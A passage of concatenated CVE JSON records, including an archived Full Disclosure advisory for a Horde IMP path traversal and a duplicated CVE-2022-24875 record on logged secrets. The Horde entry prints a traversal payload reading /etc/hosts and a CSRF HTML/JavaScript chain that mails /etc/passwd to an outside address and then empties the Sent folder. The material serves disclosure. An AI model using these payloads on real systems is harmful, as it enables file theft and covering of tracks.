          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-nethserver"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/79"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CVE-2026-78331 / CVE-2026-78332: Multiple Vulnerabilities in NethServer",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0036",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/79",
            "automated": true,
            "contentSha256": "e1f55767d3e6df800c47b3094da09062a86c11a0996a33ed8342dd347e1f2a90",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/79",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-24T15:07:24Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:21Z",
    "dateUpdated": "2026-09-09T10:11:36Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0036"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CVE-2026-58451 - Horde",
          "vendor": "Cve",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "\u3164evan via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "this is my first time sending to a mailing list so ive chosen\nsomething easy. here goes:\n\nSummary: Horde Groupware\u2019s IMP Webmail solution contains a path\ntraversal/local file inclusion vulnerability which could be exploited\nto escalate privileges or bypass authentication (through CSRF if\nunauthenticated).\n\nthe vulnerability is in here:\n\n} elseif (strcasecmp($node-\u003etagName, \u0027IMG\u0027) === 0) {\n                /* Check for smileys. They live in the JS directory, under\n                 * the base ckeditor directory, so search for that and replace\n                 * with the filesystem information if found (Request\n                 * #13051). Need to ignore other image links that may have\n                 * been explicitly added by the user. */\n                $js_path = strval(Horde::url($registry-\u003eget(\u0027jsuri\u0027,\n\u0027horde\u0027), true));\n                if (stripos($src, $js_path . \u0027/ckeditor\u0027) === 0) {\n                    $file = str_replace(\n                        $js_path,\n                        $registry-\u003eget(\u0027jsfs\u0027, \u0027horde\u0027),\n                        $src\n                    );\n\n                    if (is_readable($file)) {\n                        $data_part = new Horde_Mime_Part();\n                        $data_part-\u003esetContents(file_get_contents($file));\n                      ...\n\nas seen, we control $file, which is just the src in \u003cimg src=\"\"\u003e. to\nget past the checks to hit our file_get_contents sink, we can just\nsatisfy the stripos check. our (elementary) exploit is thus:\n--\n\u003cimg src=\"https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts\";\u003e\n--\nthis is likely very chainable with any other existing primitive to\nachieve rce on horde IMP. for example, heres an easy csrf chain:\n\n--\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\n\u003cbody\u003e\n    \u003ch1\u003eyo\u003c/h1\u003e\n    \u003cscript\u003e\n        var p1 = new FormData();\n        p1.append(\u0027to\u0027, \u0027john () evil gov\u0027);\n        // land in spam\n        p1.append(\u0027subject\u0027, \u0027hai\u0027);\n        p1.append(\u0027html\u0027, \u00271\u0027);\n        p1.append(\u0027message\u0027,\n            \u0027\u003chtml\u003e\u003cbody\u003ebye\u003cimg\nsrc=\"http://targ/horde/js/ckeditor/../../../../etc/passwd\";\u003e\u003c/body\u003e\u003c/html\u003e\u0027);\n\n        p1.append(\u0027identity\u0027, \u00270\u0027);\n        p1.append(\u0027priority\u0027, \u0027normal\u0027);\n        p1.append(\u0027request_read_receipt\u0027, \u00270\u0027);\n        p1.append(\u0027save_sent_mail\u0027, \u00271\u0027);\n        fetch(\u0027http://targ/horde/services/ajax.php/imp/sendMessage\u0026apos;, {\n                method: \u0027POST\u0027,\n                body: p1,\n                credentials: \u0027include\u0027,\n                mode: \u0027no-cors\u0027\n            })\n            .then(() =\u003e {\n                console.log(\"* bye\");\n                setTimeout(() =\u003e {\n                    var p2 = new FormData();\n                    p2.append(\u0027mbox\u0027, \u0027U0VOVA\u0027); // b64 SENT\n                    // delete\n\nfetch(\u0027http://targ/horde/services/ajax.php/imp/emptyMailbox\u0026apos;, {\n                        method: \u0027POST\u0027,\n                        body: p2,\n                        credentials: \u0027include\u0027,\n                        mode: \u0027no-cors\u0027\n                    });\n                }, 2000);\n            });\n    \u003c/script\u003e\n\u003c/body\u003e\n\n\u003c/html\u003e\n--\n\nPATCH:\nupdate to horde imp 7.0.1 for the patch.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:11:59Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/8"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/8"
        },
        {
          "url": "http://targ/horde/js/ckeditor/../../../../etc/passwd\""
        },
        {
          "url": "http://targ/horde/services/ajax.php/imp/emptyMailbox\u0026apos"
        },
        {
          "url": "http://targ/horde/services/ajax.php/imp/sendMessage\u0026apos"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts\""
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/8"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[fulldis] CVE-2026-58451 - Horde Groupware IMP path traversal vuln",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0021",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/8",
            "automated": true,
            "contentSha256": "83cf4dad4368e78dfc8982e302ba2f7764e6d48049bcc80c6dac2893337b83d0",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/8",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-02T17:04:19Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:20Z",
    "dateUpdated": "2026-09-09T10:11:59Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0021"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T04:29:01.160Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://github.com/CVEProject/cve-services/security/advisories/GHSA-rhj9-qx37-7m2m"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/CVEProject/cve-services/commit/46d98f2b1427fc6ba1c2bc443dc6688fd400f1f4"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2022-24875",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-04-23T15:55:22.404514Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-04-23T18:32:43.507Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "cve-services",
          "vendor": "CVEProject",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 1.1.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The CVEProject/cve-services is an open source project used to operate the CVE services api. In versions up to and including 1.1.1 the `org.conroller.js` code would erroneously log user secrets. This has been resolved in commit `46d98f2b` and should be available in subsequent versions of the software. Users of the software are advised to manually apply the `46d98f2b` commit or to update when a new version becomes available. As a workaround users should inspect their logs and remove logged secrets as appropriate."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-532",
              "description": "CWE-532: Insertion of Sensitive Information into Log File",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2022-04-21T17:20:10.000Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/CVEProject/cve-services/security/advisories/GHSA-rhj9-qx37-7m2m"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/CVEProject/cve-services/commit/46d98f2b1427fc6ba1c2bc443dc6688fd400f1f4"
        }
      ],
      "source": {
        "advisory": "GHSA-rhj9-qx37-7m2m",
        "discovery": "UNKNOWN"
      },
      "title": "Potential Secrets being logged to disk in CVEProject/cve-services",
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "security-advisories@github.com",
          "ID": "CVE-2022-24875",
          "STATE": "PUBLIC",
          "TITLE": "Potential Secrets being logged to disk in CVEProject/cve-services"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "cve-services",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "\u003c= 1.1.1"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "CVEProject"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "The CVEProject/cve-services is an open source project used to operate the CVE services api. In versions up to and including 1.1.1 the `org.conroller.js` code would erroneously log user secrets. This has been resolved in commit `46d98f2b` and should be available in subsequent versions of the software. Users of the software are advised to manually apply the `46d98f2b` commit or to update when a new version becomes available. As a workaround users should inspect their logs and remove logged secrets as appropriate."
            }
          ]
        },
        "impact": {
          "cvss": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "CWE-532: Insertion of Sensitive Information into Log File"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://github.com/CVEProject/cve-services/security/advisories/GHSA-rhj9-qx37-7m2m",
              "refsource": "CONFIRM",
              "url": "https://github.com/CVEProject/cve-services/security/advisories/GHSA-rhj9-qx37-7m2m"
            },
            {
              "name": "https://github.com/CVEProject/cve-services/commit/46d98f2b1427fc6ba1c2bc443dc6688fd400f1f4",
              "refsource": "MISC",
              "url": "https://github.com/CVEProject/cve-services/commit/46d98f2b1427fc6ba1c2bc443dc6688fd400f1f4"
            }
          ]
        },
        "source": {
          "advisory": "GHSA-rhj9-qx37-7m2m",
          "discovery": "UNKNOWN"
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2022-24875",
    "datePublished": "2022-04-21T17:20:10.000Z",
    "dateReserved": "2022-02-10T00:00:00.000Z",
    "dateUpdated": "2025-04-23T18:32:43.507Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T04:29:01.160Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://github.com/CVEProject/cve-services/security/advisories/GHSA-rhj9-qx37-7m2m"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/CVEProject/cve-services/commit/46d98f2b1427fc6ba1c2bc443dc6688fd400f1f4"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2022-24875",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-04-23T15:55:22.404514Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-04-23T18:32:43.507Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "cve-services",
          "vendor": "CVEProject",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 1.1.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The CVEProject/cve-services is an open source project used to operate the CVE services api. In versions up to and including 1.1.1 the `org.conroller.js` code would erroneously log user secrets. This has been resolved in commit `46d98f2b` and should be available in subsequent versions of the software. Users of the software are advised to manually apply the `46d98f2b` commit or to update when a new version becomes available. As a workaround users should inspect their logs and remove logged secrets as appropriate."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-532",
              "description": "CWE-532: Insertion of Sensitive Information into Log File",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2022-04-21T17:20:10.000Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/CVEProject/cve-services/security/advisories/GHSA-rhj9-qx37-7m2m"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/CVEProject/cve-services/commit/46d98f2b1427fc6ba1c2bc443dc6688fd400f1f4"
        }
      ],
      "source": {
        "advisory": "GHSA-rhj9-qx37-7m2m",
        "discovery": "UNKNOWN"
      },
      "title": "Potential Secrets being logged to disk in CVEProject/cve-services",
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "security-advisories@github.com",
          "ID": "CVE-2022-24875",
          "STATE": "PUBLIC",
          "TITLE": "Potential Secrets being logged to disk in CVEProject/cve-services"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "cve-services",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "\u003c= 1.1.1"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "CVEProject"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "The CVEProject/cve-services is an open source project used to operate the CVE services api. In versions up to and including 1.1.1 the `org.conroller.js` code would erroneously log user secrets. This has been resolved in commit `46d98f2b` and should be available in subsequent versions of the software. Users of the software are advised to manually apply the `46d98f2b` commit or to update when a new version becomes available. As a workaround users should inspect their logs and remove logged secrets as appropriate."
            }
          ]
        },
        "impact": {
          "cvss": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "CWE-532: Insertion of Sensitive Information into Log File"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://github.com/CVEProject/cve-services/security/advisories/GHSA-rhj9-qx37-7m2m",
              "refsource": "CONFIRM",
              "url": "https://github.com/CVEProject/cve-services/security/advisories/GHSA-rhj9-qx37-7m2m"
            },
            {
              "name": "https://github.com/CVEProject/cve-services/commit/46d98f2b1427fc6ba1c2bc443dc6688fd400f1f4",
              "refsource": "MISC",
              "url": "https://github.com/CVEProject/cve-services/commit/46d98f2b1427fc6ba1c2bc443dc6688fd400f1f4"
            }
          ]
        },
        "source": {
          "advisory": "GHSA-rhj9-qx37-7m2m",
          "discovery": "UNKNOWN"
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2022-24875",
    "datePublished": "2022-04-21T17:20:10.000Z",
    "dateReserved": "2022-02-10T00:00:00.000Z",
    "dateUpdated": "2025-04-23T18:32:43.507Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}